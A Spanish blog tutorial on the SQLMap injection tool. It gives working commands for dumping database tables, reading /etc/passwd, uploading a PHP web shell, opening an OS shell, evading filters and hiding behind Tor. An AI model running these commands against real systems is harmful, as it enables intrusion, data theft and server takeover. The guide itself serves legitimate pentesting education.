SQLMap: Guía Definitiva para Dominar la Herramienta de Inyección SQL

1. Introducción a SQLMap

SQLMap es una herramienta open-source escrita en Python que automatiza la detección y explotación de vulnerabilidades de inyección SQL (SQLi). Desde su lanzamiento en 2006, se ha convertido en el estándar para pentesters y expertos en ciberseguridad. En este blog, desglosaremos su funcionamiento, desde lo básico hasta técnicas avanzadas.


2. Instalación de SQLMap

SQLMap viene preinstalado en distribuciones como Kali Linux, pero si necesitas instalarlo manualmente:

# Instalación en Debian/Ubuntu
sudo apt install sqlmap

# Clonar repositorio GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

# Ejecutar
python sqlmap.py

3. Bases de Datos Compatibles

SQLMap soporta más de 30 sistemas de gestión de bases de datos (SGBD), incluyendo:

  • MySQL, PostgreSQL, Oracle
  • Microsoft SQL Server, SQLite, MongoDB
  • ¡Y muchos más!

4. Tipos de Inyección SQL que Detecta

SQLMap es capaz de explotar todos los tipos de SQLi conocidos. Usando --technique, puedes especificar cuál aplicar:

sqlmap -u "http://ejemplo.com/?id=1" --technique=BEUSTQ
  • B: Blind Based (Booleano)
  • E: Error-Based
  • U: Union-Based
  • S: Stacked Queries
  • T: Time-Based
  • Q: Inline Queries

4.1. Ejemplo de Blind SQLi:

AND 1=1  -- Respuesta TRUE
AND 1=2  -- Respuesta FALSE

4.2. Ejemplo de Error-Based:

AND GTID_SUBSET(@@version,0)  -- Provoca error con información sensible

5. Ejecución Básica

Para escanear una URL vulnerable:

sqlmap -u "http://ejemplo.com/vuln.php?id=1" --batch
  • --batch: Omite preguntas interactivas.
  • -u: Especifica la URL objetivo.

Salida clave:

[INFO] GET parameter 'id' is vulnerable
[INFO] the back-end DBMS is MySQL

6. Manejo de Errores y Verbosidad

Para depurar problemas, usa:

  • -v 6: Máxima verbosidad.
  • --parse-errors: Muestra errores del SGBD.
  • -t traffic.log: Guarda el tráfico HTTP.
sqlmap -u "http://ejemplo.com/?id=1" -v 6 --parse-errors -t /tmp/traffic.log

7. Ajustes de Ataque

Personaliza el ataque con:

  • --level (1-5): Controla la profundidad de las pruebas.
  • --risk (1-3): Define el riesgo de las payloads.

Ejemplo:

sqlmap -u "http://ejemplo.com/?id=1" --level=5 --risk=3

8. Enumeración de Bases de Datos

8.1. Información básica:

sqlmap -u "http://ejemplo.com/?id=1" --banner --current-user --current-db --is-dba
  • --banner: Versión del SGBD.
  • --current-user: Usuario actual.
  • --is-dba: Verifica si es administrador.

8.2. Volcar tablas:

sqlmap -u "http://ejemplo.com/?id=1" --dump -T usuarios -D testdb
  • -T: Tabla específica.
  • -D: Base de datos.

9. Bypass de Protecciones

9.1. Anti-CSRF:

sqlmap -u "http://ejemplo.com/" --data="id=1&csrf-token=ABC123" --csrf-token="csrf-token"

9.2. User-Agent Aleatorio:

sqlmap -u "http://ejemplo.com/?id=1" --random-agent

9.3. Tamper Scripts:

sqlmap -u "http://ejemplo.com/?id=1" --tamper=between,randomcase
  • between: Reemplaza = por BETWEEN.
  • randomcase: Aleatoriza mayúsculas/minúsculas.

10. Explotación del Sistema Operativo

10.1. Lectura de archivos:

sqlmap -u "http://ejemplo.com/?id=1" --file-read "/etc/passwd"

10.2. Escritura de archivos (Web Shell):

echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u "http://ejemplo.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

10.3. Shell Interactivo:

sqlmap -u "http://ejemplo.com/?id=1" --os-shell

11. Consejos Finales

  • Privilegios DBA: Si --is-dba devuelve True, ¡tienes control total!
  • Diccionarios Personalizados: Usa --wordlist para cracks de hashes.
  • Tor: Anonimiza tu IP con --tor.

Comparte esta Publicación en Redes Sociales